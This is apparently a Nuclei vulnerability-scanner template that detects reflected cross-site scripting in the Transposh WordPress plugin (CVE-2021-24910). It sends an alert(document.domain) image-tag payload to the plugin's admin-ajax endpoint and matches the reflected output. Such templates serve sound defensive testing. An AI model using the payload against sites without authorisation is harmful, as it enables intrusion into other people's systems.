CVE-2021-24910.yaml

id: CVE-2021-24910

info:
  name: Transposh WordPress < 1.0.7 - Reflected Cross-Site Scripting (XSS)
  author: Screamy
  severity: medium
  reference:
    - https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-24910.txt
    - https://wpscan.com/vulnerability/b5cbebf4-5749-41a0-8be3-3333853fca17
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24910
  metadata:
    verified: true
  tags: cve,cve2021,wordpress,wp-plugin,xss,wp

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=tp_tp&e=g&m=s&tl=en&q=<img%20src%3dx%20onerror%3dalert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - '{"result":'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200